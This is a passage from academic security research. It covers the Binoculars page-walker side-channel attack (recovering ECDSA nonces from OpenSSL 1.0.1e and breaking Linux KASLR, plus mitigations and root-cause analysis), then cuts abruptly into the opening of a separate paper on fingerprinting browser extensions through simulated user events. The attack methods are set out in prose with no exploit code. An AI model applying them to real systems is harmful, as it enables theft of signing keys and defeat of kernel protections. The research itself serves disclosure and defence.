suitable offsets for using in a later online attack.

To minimize noise, we prefer offsets that are exclusively
used by one of the four variables (e.g., x2). Figure 10 shows
traces of page offset stored to by Madd0, Mdouble0, Madd1,
and Mdouble1, obtained using Intel’s Pin tool [57]. The X
axis is the order of stores inside the function and the Y axis is
the page offset of each store. Stores to x2 are highlighted with
red circles. Since x2 is a big number that occupies multiple
double words, offsets of stores to x2 form a continuous descent
“slope” with a step of 8 bytes in the figure, instead of a single
point. We find that x2’s offsets are good candidates for low-
noise monitoring, as only Madd0 and Mdouble1 store to these
offsets, and only when writing to x2.

Step 2: Monitor Victim Stores. The attacker process is co-
located on the same physical core as the victim, but on a
sibling hyperthread. While the victim is signing, the attacker
process keeps recording the latency of TLB-missing loads
that monitor stores to the chosen page offsets, as well as the
timestamp of each measurement. The latency trace is then
saved for the next step.

Figure 10 shows that for a given offset of x2, only a few
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Figure 11: A snippet of measured raw latencies. Grey vertical
dashed lines indicate start of Montgomery ladder iterations.
Grey vertical doted lines are the halves of iterations. Red
crosses are the ground truth of k. Timestamps are relative to
the first Montgomery ladder iteration. Measured on a Skylake-
X.
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Figure 12: Montgomery ladder iteration boundaries predicted
by the classifier on the trace in Figure 11. Timestamps are
relative to the first Montgomery ladder iteration.

stores are executed in a short period during signing. To ob-
tain a detectable signal in the store→load channel from these
stores, we time four dependent TLB-missing loads instead
of one. Since a single TLB-missing load can monitor two
unique offsets (Section 4.1), these four loads can monitor
eight neighboring offsets of x2 to increase the chance of con-
tention. Also, because these four loads are dependent, their
contention effects are built up and observable.

Step 3: Process Signal. To recover the ki values from the
latency trace collected in step 2, we need to (1) identify when
the victim stores to x2; and (2) find boundaries of Montgomery
ladder iterations, so that we can know whether the stores are
performed in the first or second half of an iteration.

Figure 11 shows a snippet of a latency trace collected on
a Skylake-X, while the attacker monitors stores to x2. We
thus expect to see latency increases when the victim executes
Madd0 or Mdouble1. Red crosses show the ki values. Iteration
boundaries and halves are marked by vertical grey dashed
lines and thin dotted lines, respectively. The lines are plotted
by instrumenting the victim, but in a real attack, they must
be recovered by the attacker from the trace. On average, the
probing latency is around 300 cycles on the test machine.

Using the vertical lines as references, we see that when ki
is 0, there are two high latencies events in the first half of the
Montgomery ladder iteration (bits k175, k177, and k178). And
when ki is 1, high latency events occur in the second half of
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Figure 13: Violin plots of each approach’s accuracy distribution on a Skylake-X and a Cascade Lake-X. Each distribution contains
100 predictions. BLANK with predicted boundaries are omitted since the boundary predictor fails to output any meaningful data
for it. All plots except BLANK share the same Y axis range starting from 90%.

an iteration (bits k172, k174, and k176).
Not all contention effects are obvious, however (e.g., bit

k173). We therefore use a supervised machine learning model,
random forest classifier [51, 52], to predict iteration bound-
aries and ki values from the latency trace. The following
details how the model is used.
Preprocess. Because the attacker process keeps measuring
latencies without any synchronization, the trace forms an
unevenly spaced time series. We transfer the data into an
equally spaced time series by resampling the raw data at a
fixed period with linear interpolation. Since most machine
learning models work best when the data under classification
roughly follows a standard normal distribution, we normalize
the resampled latencies by subtracting the mean and then
dividing by the standard deviation.
Predict iteration boundaries. To recover Montgomery ladder
iteration boundaries from the latency trace, we use a binary
random forest classifier. Our classifier takes as input a vector
of 160 normalized latencies and predicts whether the center
of the vector is an iteration boundary.

Figure 12 shows the classifier’s outputs for the trace snippet
in Figure 11. The blue line is the classifier output on each
timestamp and the grey vertical dashed lines are the ground
truth of iteration boundaries. While the classifier manages
to recover most boundaries, it sometimes misses a boundary
(e.g., between k173 and k174). We overcome this problem by,
ironically, exploiting the Montgomery ladder’s constant-time
property. Because it executes the same sequence of operations
regardless of ki, the iteration length is relatively constant. We
can therefore estimate the average iteration period from the
predictions and use it to fix missing boundaries and remove

false positives.
Predict ki. Finally, we train another random forest classifier
that takes as input a vector of normalized latencies from an
iteration i, and predicts the value of ki. For each prediction,
the classifier also outputs a confidence score.

7.2 Results
Setup. We evaluate our attack method on a Skylake-X and
a Cascade Lake-X with OpenSSL 1.0.1e on Ubuntu 20.04
LTS (5.4.0-105-generic). We use OpenSSL 1.0.1e strictly as
a demonstration benchmark; after version 1.0.1e, OpenSSL
switched to an invulnerable branchless Montgomery ladder
implementation. We configure cores to run in performance
mode without fixing their frequency. Cores for experiments
are isolated to minimize context switches. We use the default
compilation flags to compile OpenSSL. The curve that we are
targeting is sect571r1, which uses a 571-bit nonce. We use
the binary random forest classifier machine learning model4

from scikit-learn 1.0.2 [52] for signal processing.
We evaluate the attack’s end-to-end accuracy with three

other approaches for monitoring victim stores (Step 2) be-
sides Binoculars, while keeping the rest of the steps same:
(1) BLANK: the attack process only measures time. This ap-
proach serves as a sanity check to show that the signal we
observe is not caused by any resource contention on reading
the timestamp. (2) MEMJAM-PARA: this approach relies on
false dependence in the L1D cache (Section 2) that is de-
scribed in MemJam [44]. Similar to the setup in MemJam, we

4 Model parameters: n_estimators=400, min_samples_split=5,
min_samples_leaf=1, max_features="log2", max_depth=30
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Figure 14: Required log2 brute force attempts to recover the full nonce k with the improved method (Based on ki predictions
with predicted boundaries).

measure the latency of eight parallel loads that are 4K-aliasing
with a target store offset. (3) MEMJAM-DEP: this approach
replaces eight parallel loads in MEMJAM-PARA with four
dependent loads to enhance the contention. (4) BINOCULARS
(this work): this approach relies on the store→load channel.

For each approach, we collect 100 latency traces to train the
first random forest classifier that predicts Montgomery ladder
iteration boundaries. This step takes about 1 minute to collect
and process the traces (about 500k training samples), and 10
minutes to train on a 16-core machine. Then, we use another
30 traces to train the second random forest classifier that
predicts ki. This step takes about 2 minutes to collect, process,
and train on the same machine (about 17k training samples).
Finally, we evaluate the end-to-end accuracy of each method
on another 100 traces and discuss the security implications
(i.e., nonce recovery). Note that we do not include results
on a Haswell-EP, because none of these four approaches can
achieve good accuracy with a single victim run on it, mainly
due to its low performance and thus weak contention effects.

Accuracy. Figure 13 shows the accuracy distribution of each
approach on different CPU platforms. For each approach, we
show the results with iteration boundaries predicted by the
boundary classifier and with oracle boundaries. The excep-
tion is BLANK, in which we only show results with oracle
boundaries since the boundary classifier cannot output any
meaningful prediction for its traces. For each distribution,
the area represents the density of samples at a given accu-
racy. A wider area means the corresponding accuracy is more
likely to occur. The thick short black bar represents the first
to third quartile range. The thin long black bar represents
the lower and upper bounds after filtering outliers with the
quartile range. The white dot represents the median of the

distribution.
BINOCULARS has the highest accuracies on both CPU

platforms. On average, its accuracies are 98.5 ± 0.3% on
a Skylake-X and 98.4± 0.3% on a Cascade Lake-X (N =
100,P = 0.95, same N and P value below), or with oracle
boundaries, 99.1± 0.1% on a Skylake-X and 98.7± 0.8%
on a Cascade Lake-X. Using oracle boundaries, sometimes
BINOCULARS can even recover the full nonce without any er-
ror. Compared to BINOCULARS, other approaches have lower
accuracy and higher deviation. MEMJAM-PARA, on average,
can achieve 96.0± 0.6% on a Skylake-X and 94.1± 0.5%
on a Cascade Lake-X. On average, MEMJAM-DEP’s accura-
cies are 94.9± 0.7% on a Skylake-X and 93.8± 0.6% on a
Cascade Lake-X. BLANK achieves accuracies that are only
slightly better than random guessing (i.e., 50%), indicating—
as expected—that just reading the timestamp cannot reveal
ki.
Nonce Recovery. To completely recover the full 571-bit-long
nonce k, we need to find and correct erroneous bits in the
predictions through brute forcing. Since we do not know how
many bits are incorrect and where those bits are, we have to
first guess the number of erroneous bits ne, starting from 1,
then try to flip all Cne

571 combinations. If no correct solutions
are found, we will increment ne and repeat the process.

To speed up the brute force search, we improve the method
based on an observation that most erroneous bits have low
confidence scores. In the improved method, we first sort all
the predicted bits by their confidence scores in an ascending
order. Then, we pick the top NL low-confident bits and try to
flip all Cne

NL
combinations for a given ne. Since NL can be much

smaller than the bit-length of k (i.e., 571), the search space is
significantly reduced. Note that if the NL low-confident bits

710    31st USENIX Security Symposium USENIX Association



fail to cover some erroneous bits, the brute force will fail. In
that case, we will increase NL and retry.

Figure 14 shows histograms of log2 brute force attempts
with the improved method. These histograms are based on
ki predictions with predicted Montgomery ladder iteration
boundaries. On a Skylake-X (Figure 14a), BINOCULARS re-
quires a median of 223.4 brute force attempts to recover k,
which is feasible. If we assume an acceptable brute force at-
tempts threshold at 240, BINOCULARS can succeed on 78.5%
of traces. However, MEMJAM-DEP and MEMJAM-PARA re-
quire many more brute force attempts. Their median attempts
are 2101.6 and 282.0 respectively. With the same brute force
threshold, they can only recover 1.0% and 3.1% of traces.

On a Cascade Lake-X (Figure 14b), every approach re-
quires slightly more brute force attempts. From left to right,
BINOCULARS requires 224.7 median brute force attempts, and
recovers k on 77.9% of traces with a brute force threshold
of 240. While MEMJAM-DEP and MEMJAM-PARA require
2130.8 and 2132.5 median brute force attempts. Under the same
brute force threshold, they can only recover 1.0% and 0.0%
of traces.

8 Compromising KASLR
Linux uses kernel address space layout randomization
(KASLR) to increase the difficulty of exploiting memory
safety vulnerabilities. Linux randomizes the base addresses
of several kernel memory regions at boot time. Since the
possible kernel’s address range is 1 GB (30 bits) and base
addresses are aligned to 2 MB boundaries (21 bits), Linux’s
KASLR has 9 bits of entropy (512 choices) [14]. The address
bits randomized are bits 29-21, i.e., the PL2 index.

Attack Method. Using the load→store channel, an attacker
can recover the full virtual page number (VPN) of a TLB-
missing victim (kernel) memory load. Assuming the offset
of the accessed page within its kernel segment is known, the
base address of the segment can be derived, breaking KASLR.

We implement this idea by attacking a system call that ac-
cesses a global variable, whose offset within the kernel image
is known for a given kernel build. We choose the SYS_time
system call (similar to prior work [41]) which accesses the
global variable tk_core. The attack is similar to the setup in
Figure 6, with the difference that the attacker measures the
end-to-end execution time of the victim. The attacker runs
two hyperthreads on the same physical core. The first hyper-
thread flushes the TLBs and measures the latency of calling
SYS_time, while the second hyperthread keeps writing to
each possible PL offset. Because the TLBs are flushed, the
system call’s read of tk_core will miss in TLBs and trigger
a page walk. Consequently, the attacker will observe system
call latency spikes at offsets that are 4K-aliasing with any
PL index of tk_core. To minimize noise caused by irrel-
evant TLB-missing loads, the first thread makes an invalid
system call to warm up the system call handler before calling
SYS_time.
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Figure 15: Average latency of calling SYS_time when varying
store offsets on a Skylake-X.

Binoculars is fundamentally different from most prior
KASLR attacks [13, 14, 31, 34, 36, 59] which rely on monitor-
ing microarchitectural side effects of accessing a mapped or
unmapped address. Such attacks can be defeated by software
mitigations like FLARE [14], which creates fake mappings
for all possible kernel addresses, or kernel page-table isolation
(KPTI), which unmaps most kernel pages in user space [30].
In contrast, Binoculars directly observes the kernel’s TLB-
missed memory loads, which allows the attacker to break
KASLR even if KPTI or FLARE is deployed. Compared to
prior work that also monitors victim’s memory accesses [41],
Binoculars can completely break KASLR thanks to its wide
address bits coverage, in contrast to reducing entropy in [41].
Results. We use the same hardware set as in Section 4, run-
ning Ubuntu 20.04 LTS (5.4.0-105-generic). On Haswell-EP
and Skylake-X platforms, which are vulnerable to Meltdown,
KPTI is enabled. We rely on /proc/kallsyms to collect the
ground truth of the global variable tk_core’s address.

Figure 15 shows the average latency of calling SYS_time,
measured at each offset on a Skylake-X. The global variable
tk_core is located at 0xffffffffa19f4f40 in this boot,
which corresponds to indexes to PL4, PL3, PL2, and PL1 equal
to 0x1ff, 0x1fe, 0x10c, and 0x1f4, respectively, which are
marked in the figure. While the latencies are huge at these
indexes, we do not see peaks as sharp as the ones in Figure 6
due to TLB-missing accesses that are not to tk_core. We
therefore run a peak detection algorithm.

To identify which peak corresponds to tk_core’s PL2 in-
dex, we need to discard the PL4, PL3, and PL1 indexes. We
use the fact that the PL4 and PL3 indexes are the same con-
stants in any Linux kernel image base address. Moreover, we
can learn tk_core’s PL1 index from its offset in the kernel
image, which is known for a given kernel build (and readable
in the image’s symbol table).

To measure the accuracy of identifying the PL2 index, we
reboot the system 10 times, and recover the index 100 times
per boot (1000 recoveries in total). We achieve accuracies of
100.0%, 98.7%, and 92.6% on the Skylake-X, Haswell-EP,
and Cascade Lake-X, respectively. These accuracies, however,
are of a single attacker run. They can be trivially improved to
100% on all three platforms by repeating the runs and picking
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the most frequent PL2 index guess.

9 Potential Mitigations
The root cause of the Binoculars attack is the starvation of
hardware page walker loads by concurrent stores due to false
dependence and/or set conflicts in the L1D cache. A complete
fix of Binoculars thus requires hardware-level changes.

Software-wise, two mitigations can be applied. A system
can disable hyperthreading, or only allow mutally trusted
programs to share a physical core (e.g., core scheduling [40]).
However, this mitigation can under-utilize hardware resources
and lead to system performance degradation [15]. Alterna-
tively, potential victims can be rewritten with data-oblivious
programming practices [5, 17, 73], so that they do not make
secret-dependent memory accesses. But while data-oblivious
code is invulnerable to Binoculars and many other side chan-
nels, it usually requires a non-trivial amount of effort to
rewrite and verify the program, and incurs significant exe-
cution overhead.

10 Related Work
Attacks on Montgomery ladder. There have been several
attacks on Montgomery ladder. Yarom et al. [70] extend
Flush+Reload [71] to attack the same vulnerable implementa-
tion in Figure 9. Compared to Binoculars, their attack requires
the attacker to share memory with the victim, and has lower
average accuracy (95.7%).

Brumley et al. [11] attack a different part of the OpenSSL
implementation to recover the logarithm of k, which is then
used in a lattice attack to recover the private key. Unlike
Binoculars, this attack requires thousands of signatures and
its success rate is low.
Exploiting page walker loads. Page walker loads go through
the cache hierarchy and so can be observed with cache-
based side channels. There have been side-channel attacks
exploiting page walker loads to build stateful-indirect chan-
nels [12, 29, 66, 67]. Using these channels, the attack’s granu-
larity is limited to a cache line (64 bytes), which means that
it cannot distinguish accesses to neighboring pages, whose
8-byte PTEs share the cache line with the target page. Binoc-
ulars is also capable of performing such monitoring with the
load→store channel and has a finer granularity.

11 Conclusion
In this paper, we investigated and demonstrated the first
stateless-indirect channel by exploiting interactions between
in-flight page walk loads on behalf of one thread and stores
by another thread. We introduced a new side-channel attack
called Binoculars. Unlike conventional stateless channels,
Binoculars creates significant timing perturbations (e.g., up to
20,000 cycles)—making it easy to monitor. We showed that
the perturbations are address dependent, and designed two
Binoculars attack primitives to leak a wide range of virtual

address bits in victim memory operations. Using these primi-
tives, we demonstrated end-to-end attacks on real hardware,
which include extracting the nonce k in ECDSA with a single
victim run, and fully breaking kernel ASLR.

Disclosure. We disclosed the Binoculars side channel vul-
nerabilities to Intel in November 2021. Following our report,
Intel considers our findings covered by their guidelines for
mitigating timing side channels against cryptographic imple-
mentations [18].
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Availability
We open sourced Binoculars PoC at https://github.com/
zzrcxb/binoculars.

A Appendix: Detailed Root Cause Analysis

In this appendix, we explore the root cause of the strong
resource contention triggered by Binoculars (up to 20,000
cycles on a Skylake-X processor, Section 4).

Source of the Contention. We first confirm that the con-
tention originates from the page walk triggered by TLB
misses. To this end, we monitor various TLB- and page-
walker-related performance counter sub-events (Table 3) dur-
ing an experiment similar to the one in Figure 2. In the exper-
iment, one hyperthread performs a TLB-missing page access
while the sibling hyperthread keeps writing to an address that
is, (or is not), 4K-aliasing with one of the page walker loads.
Before the measurement, we first warm up the page by ac-
cessing it multiple times so that its data is cached; then, we
invalidate its translation from all the TLB levels.

Table 4 shows performance counter values collected
on an Intel Skylake-X for both the 4K-aliasing and no-
aliasing cases. If the store is not aliasing with the page
walker load, the page walker starts and completes one page
walk to handle the TLB miss (MISS_CAUSES_A_WALK and
WALK_COMPLETED events, respectively), which takes 42 core
clock cycles (WALK_DURATION), and all its page walker loads
plus the data access hit in the L1D cache. It takes 180 core
clock cycles in total to complete the page walk, the data ac-
cess, and then stop the performance counters.

In the 4K-aliasing case, however, the page walker starts
two page walks but only finishes one. Also, the sub-event
WALK_DURATION has a value that is close to Unhalted Core
Cycles. These results indicate that the core spends most
its cycles servicing the page walk, which takes a long time
to complete. Also, the page walk seems to be aborted and
restarted. The counters for page walker loads all indicate

712    31st USENIX Security Symposium USENIX Association

https://github.com/zzrcxb/binoculars
https://github.com/zzrcxb/binoculars


Table 3: List of performance counter events.
Parent Event Sub-event Description
DTLB_LOAD_MISSES MISS_CAUSES_A_WALK Number of page walks (including incomplete walks)
DTLB_LOAD_MISSES WALK_COMPLETED Number of completed page walks
DTLB_LOAD_MISSES WALK_DURATION† Count of core clock cycles when the page walker is servicing page walks
PAGE_WALKER_LOADS DTLB_L1* Number of page walker loads that hit in L1D+Fill Buffer
PAGE_WALKER_LOADS DTLB_L2* Number of page walker loads that hit in L2
PAGE_WALKER_LOADS DTLB_L3* Number of page walker loads that hit in L3
PAGE_WALKER_LOADS DTLB_MEMORY* Number of page walker loads that read from main memory
MEM_LOAD_RETIRED L1_HIT Number of load instructions that hit in L1D (excluding page walker loads)
n/a Unhalted Core Cycles† Count of core clock cycles when the core is running
* Although these sub-events are only documented for Haswell-EP and Broadwell-EP, we find that they still exist and are functional on newer

microarchitectures like Skylake-X and Cascade Lake-X.
† These sub-events count core clock cycles, which are subject to turbo-boost. The rest of the paper uses reference clock cycles, which are not.

Table 4: Performance counter values on a Skylake-X.
Sub-event No Aliasing 4K-Aliasing
MISS_CAUSES_A_WALK 1 2
WALK_COMPLETED 1 1
WALK_DURATION (core clock cycles) 42 16452∗

DTLB_L1 4 4
DTLB_L2 0 0
DTLB_L3 0 0
DTLB_MEMORY 0 0
L1_HIT 1 1
Unhalted Core Cycles (core clock cycles) 180 16584∗

∗ These core clock cycles correspond to ≈ 20,000 reference clock cycles.

there are no L1D misses, which means that the slow page
walk is not caused by cache-missing loads. These observa-
tions confirm that the contention indeed comes from the page
walker. We hypothesize that the contention is so strong that
it leads to resource starvation of the page walker, which trig-
gers a “watchdog” to abort the page walk and restart it with a
higher priority over shared resources.

Cause of Starvation. To validate our starvation hypothe-
sis, we rely on Intel’s patents on virtual memory transla-
tion. According to one of Intel’s patents, the page walker
issues “stuffed” loads that bypass the RS and the ROB [26].
This mechanism is presented as an optimization to avoid any
scheduling latency that the RS or the ROB may cause.

After the stuffed load is dispatched by the page walker, it
is handled by the memory-order buffer (MOB). The MOB
checks for potential conflicts with pending stores—-i.e.,
whether a store may be writing to the address read by the
stuffed load. If a potential conflict is found, the page walker
aborts the walk and retries when the conflict is resolved. Al-
though this might sound like the root cause of the contention,
our further experimentation finds that only stores from the
same thread can cause conflicts, as the MOB is not shared by
the two hyperthreads, which disproves this explanation.

If the MOB finds no conflicts, the stuffed load is issued
to the L1D cache. In this step, the L1D cache may “squash”
the stuffed load under certain circumstances. If the squash
happens, the page walker will re-dispatch the stuffed load as
soon as possible, and the re-dispatched stuffed load may get
squashed by the L1D cache again. This behavior can starve
the stuffed load indefinitely. As will be discussed later, we

indeed find a performance counter sub-event that suggests
that the L1D cache receives thousands of read requests from
the stuffed load during a stalled page walk.

Magnitude of Starvation. Given that the L1D cache rejects
data accesses for various reasons (Section 2), why can Binoc-
ulars stall a page walk for up to 20,000 cycles while attacks
like CacheBleed and MemJam only delay a data access for a
few cycles? We hypothesize the answer is related to instruc-
tion scheduling differences.

In CacheBleed and MemJam, the conflicts are between
explicit data loads and stores. Data loads and stores are pro-
cessed by the ROB and the RS, and are scheduled by the
same Out-of-Order (OoO) engine of the physical core. The
OoO engine can therefore detect and mediate between the
conflicts after a few failed L1D accesses. In Binoculars, how-
ever, the conflicts are between implicit stuffed page walker
loads and explicit data stores. Because stuffed loads are man-
aged outside of the RS and the ROB, we hypothesize that the
OoO engine cannot detect such conflicts. Consequently, the
OoO engine simply allows the explicit data stores from the
other hyperthread to run “at full speed”, without realizing that
one hyperthread is trying to perform a page walk and failing,
as its stuffed loads are getting squashed. The page walker
thus suffers from resource starvation and eventually triggers a
mechanism that aborts and restarts the page walk (presumably
with a higher priority).

Cause of L1D Squashes. We find that both set conflicts and
false dependences can cause stuffed loads to be squashed
by the L1D cache, depending on the writing thread’s behav-
ior. Our analysis here is based on identifying undocumented
performance counters for these events.

To identify relevant counters, we perform a brute force
search over all possible counter sub-events, searching for the
ones that are highly correlated with the access latency of
TLB-missing loads. We perform the search by trying ev-
ery combination of the two 1-byte-long fields, EventSel
and UMask, which determine the sub-event in the perfor-
mance counter configuration model-specific registers [19].
Our search finds two interesting undocumented sub-events:
(1) EventSel=0x51, UMask=0x20 and (2) EventSel=0xbf,
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UMask=0x01. Based on the EventSels of these two sub-
events and our reverse engineering, the first sub-event likely
counts the number of L1D read requests, including both suc-
cessful and squashed requests. The second sub-event likely
counts the number of failed L1D read requests due to false
dependences (Section 2). In the rest of our discussion, we
will refer to these two sub-events as L1D.READ_REQS and
L1D_BLOCKS.FALSE_DEPS respectively. We also find that the
L1D.READ_REQS sub-event is present only on Haswell-EP but
not on newer generations. Therefore, we will focus on results
on Haswell-EP for the rest of the discussion.

We perform three experiments to understand whether
Binoculars L1D squashes are due to 4K-aliasing or L1D set
conflicts. The experiments monitor these undocumented sub-
events as one hyperthread performs a TLB-missing memory
access, which triggers a page walk that reads from RA4, RA3,
RA2, and RA1, while its sibling hyperthread keeps writing
to an address WA. The experiments differ in the bits shared
by RA and WA, and in the frequency of writing to WA: (1)
BINOCULARS-4K: RA1 and WA share bits 11-3 (i.e., 4K-
aliasing); (2) BINOCULARS-SAMESET: RA1 and WA share
bits 11-6 but differ in bits 5-3 (i.e., they are mapped to the
same L1D cache set); (3) BINOCULARS-4K-LOWFREQ: RA1
and WA share bits 11-3, but the writer thread has a reduced
write frequency, as it executes arithmetic instructions between
writes. We ensure that the page walker loads, the data load,
and the stores only access up to two unique cache lines in an
L1D set, i.e., fewer than the associativity of the L1D cache.
We repeat each experiment 1000 times.

Figure 16 shows the results on a Haswell-EP in refer-
ence clock cycles (the maximum stall on a Haswell-EP is
around 16,000 cycles). The red dashed lines are fitted linear
regression lines. In the BINOCULARS-4K experiment (Fig-
ure 16a), the access latency is strongly correlated to the num-
ber of L1D read requests, which confirms that the stuffed page
walker loads are repeatedly squashed by the L1D cache and
re-dispatched by the page walker. From the fitted line, on aver-
age, it takes 9 cycles to squash and retry a stuffed load. How-
ever, looking at the right plot of Figure 16a, the correlation
between the access latency and L1D_BLOCKS.FALSE_DEPS is
very low, which suggests false dependences are not the main
cause of L1D squashes in this experiment.

The BINOCULARS-SAMESET experiment (Figure 16b)
still shows many high-latency events that are correlated to
L1D.READ_REQS. Compared to BINOCULARS-4K, however,
it has significantly fewer events that reach the maximum
16,000-cycle latency (131/1000 events in BINOCULARS-
SAMESET versus 847/1000 events in BINOCULARS-4K).
Also as expected, L1D_BLOCKS.FALSE_DEPS is always 0 be-
cause the page walker load is not 4K-aliasing with stores. This
experiment shows that without false dependences, contention
and even starvation can still occur as long as the RA1 and the
WA are mapped to the same L1D cache set (i.e., they suffer
set conflicts). Hovewer, they occur less frequently than they
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Figure 16: Scatter plot between the access latency and the two
undocumented sub-events. All plots share the same Y axes.

would in BINOCULARS-4K. Recall that we also see a similar
behavior in Figure 4.

Finally, in the BINOCULARS-4K-LOWFREQ experiment
(Figure 16c), the latency is still strongly correlated to
L1D.READ_REQS and it can reach the maximum 16,000-
cycle latency. But now it takes 10 cycles to squash and
retry. Also, the latency becomes strongly correlated to
L1D_BLOCKS.FALSE_DEPS, which means that false depen-
dences in the L1D cache become the main reason of L1D
squashes when the writer thread has a reduced frequency.

The results of the three experiments lead us to conclude
that both set conflicts and false dependences can cause stuffed
loads to be squashed by the L1D cache, depending on the
writer thread’s behavior. We believe that set conflicts only
happen in an early stage of a read access, while false depen-
dences occur in a later stage. This explains the one-cycle
difference in the squash-and-retry latency. We believe that
set conflicts require stricter timing requirements to trigger
(e.g., that read and write requests arrive at the same cycle)
compared to false dependences. Finally, we believe that set
conflicts (when they occur) dominate false dependences—i.e.,
when a set conflict occurs, a false dependence will not happen.

The above explain the results we see. When stores are
frequent (Figures 16a and 16b), set conflicts are more likely
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to occur. This explains Figure 16a (set conflicts occur fre-
quently and dominate false dependences when they do) and
Figure 16b (in which set conflicts occur frequently and false
dependences are impossible). This also explains that in Fig-
ure 16c set conflicts are less likely and thus false dependences
dominate. Finally, this explains why starvation occurs less fre-
quently in BINOCULARS-SAMESET than in BINOCULARS-
4K: since a read request can “slip through” set conflicts due
to the strict timing requirements, high latency is hard to build
up in BINOCULARS-SAMESET. In BINOCULARS-4K, the
“slipped-through” request will likely be squashed due to a
false dependence in the next cycle, which makes the starva-
tion more likely to happen.
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Abstract
Browser extension fingerprinting has garnered considerable

attention recently due to the twofold privacy loss that it incurs.
Apart from facilitating tracking by augmenting browser finger-
prints, the list of installed extensions can be directly used to in-
fer sensitive user characteristics. However, prior research was
performed in a vacuum, overlooking a core dimension of ex-
tensions’ functionality: how they react to user actions. In this
paper, we present the first exploration of user-triggered exten-
sion fingerprinting. Guided by our findings from a large-scale
static analysis of browser extensions we devise a series of user
action templates that enable dynamic extension-exercising
frameworks to comprehensively uncover hidden extension
functionality that can only be triggered through user interac-
tions. Our experimental evaluation demonstrates the effective-
ness of our proposed technique, as we are able to fingerprint
4,971 unique extensions, 36% of which are not detectable by
state-of-the-art techniques. To make matters worse, we find
that ≈67% of the extensions that require mouse or keyboard
interactions lack appropriate safeguards, rendering them vul-
nerable to pages that simulate user actions through JavaScript.
To assist extension developers in protecting users from this
privacy threat, we build a tool that automatically includes
origin checks for fortifying extensions against invasive sites.

1 Introduction

Web browsers have evolved into complex software delivery
and execution platforms with an ever-expanding set of capa-
bilities, while capitalizing on technological advancements for
improving the user experience through novel functionality.
Unfortunately, the continuous deployment of new functional-
ity and features comes at a price, as new avenues for privacy
loss can be introduced. In fact, prior work has demonstrated
how browser mechanisms and features can be misused for
exfiltrating users’ personally identifiable or sensitive informa-
tion [22,27,28,33,35]) and persistently tracking users [13,45].

Accordingly, the prevalence of web tracking [34] has
heightened users’ privacy concerns, pressuring browser ven-

dors to provide better protections [40]. In fact, major browsers
continue to deploy anti-tracking defenses that aim to hinder
cookie-based tracking [21, 49, 53]. At the same time, this
paradigm-shift towards cookie-less tracking has resulted in an
increasing number of trackers adopting browser fingerprinting
techniques [41,42] that aim to identify, and by extension track,
devices based on the uniquely-identifying characteristics
of the browsers and underlying operating systems and
hardware [14, 15, 18, 20, 23, 25, 30, 31, 37–39, 52]. More
recently, researchers have explored techniques for detecting
which browser extensions are installed [32, 47, 48], which
can be used for augmenting browser fingerprints but also for
automatically inferring sensitive user characteristics [29].

Prior work on browser extension fingerprinting focused on
features that can be detected statically (e.g., unique resources
that are accessible to web pages) or dynamic behaviors that
occur automatically when an orchestrated browser with an
installed extension visited a specially crafted webpage (i.e.,
the honeypage). However, all these studies explored extension
fingerprinting in a vacuum, without considering how user (in-
ter)actions actually affect the fingerprintability of extensions.
As extensions aim to extend browsers’ functionality and offer
additional, and often specialized features, it is natural that
such actions may only occur after explicit user actions (e.g.,
highlighting some text, right-clicking it, and selecting an
action from the context menu). In other words, the threat
model considered by all prior work provides a limited view of
extension fingerprintability in realistic settings, and overlooks
how the presence of users introduces an additional dynamic.

In this paper we present the first, to the best of our knowl-
edge, exploration of how user actions can trigger unique
behaviors in browser extensions, thus allowing invasive or
malicious pages to infer that the user has installed specific
extensions. To that end, we first perform an analysis of exten-
sions’ metadata coupled with a static analysis of their code,
in order to extract information about the extensions’ behavior
and potential triggers. Specifically, we focus on extensions
that can run on any domain and include a set of permissions
and entries in their manifest that define interactive extension
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components such as the extension’s browser icon and the con-
text menu items. Subsequently, we analyze the extracted data
and generate three different classes of behavioral templates.
These templates are built on top of unique and exclusive
user interactions that we categorize based on the actions
that they represent (i.e., involving the mouse, keyboard, or
browser interface). We follow a continuous testing approach
so as to achieve broad coverage and create a comprehensive
collection of interactions, which we implement as a dynamic
extension-exercising module that can be easily incorporated
into extension-analysis frameworks. Our module uses the
behavioral templates and the extensions’ metadata to exercise
each extension, and detects unique fingerprintable behaviors
that manifest as either changes to the honeypage’s DOM or
messages sent from the extension to the honeypage.

We evaluate our system’s extension fingerprinting
capabilities on three different datasets, that capture different
chronological snapshots of Chrome’s Web Store. Specifically,
we use the dataset by Karami et al. [29] and the dataset of
detected extensions by Lapperdrix et al. [32]. To enable
a more extensive longitudinal analysis we also crawl the
Chrome Web Store and collect recent versions of extensions
and new extensions that were not included in the two datasets
from prior work. The experimental evaluation of our novel
user-driven triggering techniques results in the detection of
4,971 browser extensions. When comparing to state-of-the-art
behavior-based fingerprinting [29], we find that ≈64% of
the extensions can only be detected through user-driven
interactions. For the other dataset used in our evaluation [32],
we were only able to obtain their detected extensions, so
we cannot calculate how many extensions missed by their
approach are solely detectable through user actions.

We also identify the lack of appropriate safeguards for ver-
ifying the provenance of received events in extensions. This
can be exploited by pages through JavaScript by simulating
mouse and keyboard interactions that trigger identifiable be-
haviors in vulnerable extensions. In more detail, we find that
≈67% of the extensions that require mouse or keyboard in-
teractions do not check the isTrusted attribute (a read-only
attribute generated by the browser which denotes whether an
event originates from a user action) and can thus be triggered
by the page. Moreover, our performance evaluation revealed
that this attack can be efficient, as a page can fingerprint
20 extensions using artificially crafted events in less than
400ms. Due to the severe privacy implications of this attack,
we develop a tool that can be used by extension developers to
retroactively fortify their extensions against this attack. Specif-
ically, this tool incorporates our static analysis techniques for
identifying relevant event listeners (mouse and keyboard), and
injects safeguarding code that checks the event’s provenance
and ignores events simulated by the webpage.

In summary, our research contributions are:
• We introduce a novel fingerprinting technique that offers

the first exploration of extension fingerprinting in a

real-world setting, where user actions can trigger unique
extension behaviors. Accordingly, we conduct a systematic
analysis of such behaviors in practice and develop a module
for dynamically exercising and analyzing extensions.

• We conduct an extensive evaluation of user-triggered
extension fingerprinting, and find that our approach can be
effectively used in conjunction with other state-of-the-art
fingerprinting techniques as it enables the detection of a
significant number of previously-undetectable extensions.

• We demonstrate that extensions lack the necessary security
checks to prevent web pages from issuing simulated user
events that trigger their fingerprintable behaviors. As a
countermeasure, we develop a straightforward-yet-effective
tool for extension developers that automatically incorpo-
rates safeguards into their code.Our tool is available at [10].

2 Background and Threat Model

This section provides pertinent background information on
browser extensions and technical characteristics that enable
the techniques that we present in this work.

Extension structure and components. A browser exten-
sion is a set of different components, that implement the exten-
sion’s functionalities and programmatic logic. The Manifest
file plays a crucial role as it allows developers to specify back-
ground and content scripts, external pages, and permissions
